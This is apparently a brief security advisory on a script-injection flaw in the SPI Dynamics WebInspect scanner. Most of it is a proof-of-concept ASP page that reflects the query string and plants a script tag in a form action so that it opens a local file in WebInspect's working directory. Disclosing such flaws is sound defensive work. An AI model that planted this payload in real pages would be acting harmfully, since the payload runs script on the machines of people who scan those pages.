SPI Dynamics WebInspect Cross Application Script Injection Vulnerability

SPI Dynamics WebInspect Cross Application Script Injection Vulnerability

An exploit is not required.

An example ASP document was provided as a proof of concept exploit:

<HTML><HEAD><BODY>
<%
if request.querystring<>"" then
response.write request.querystring
end if
%>
<form action="script>/<script>window.open(%27file://C:\\Program
Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>" method=get> Please login:<br>
<input type=submit value="Login"><br> <input type=hidden name='hidden' value="Login"><br> </form>
</BODY></HTML>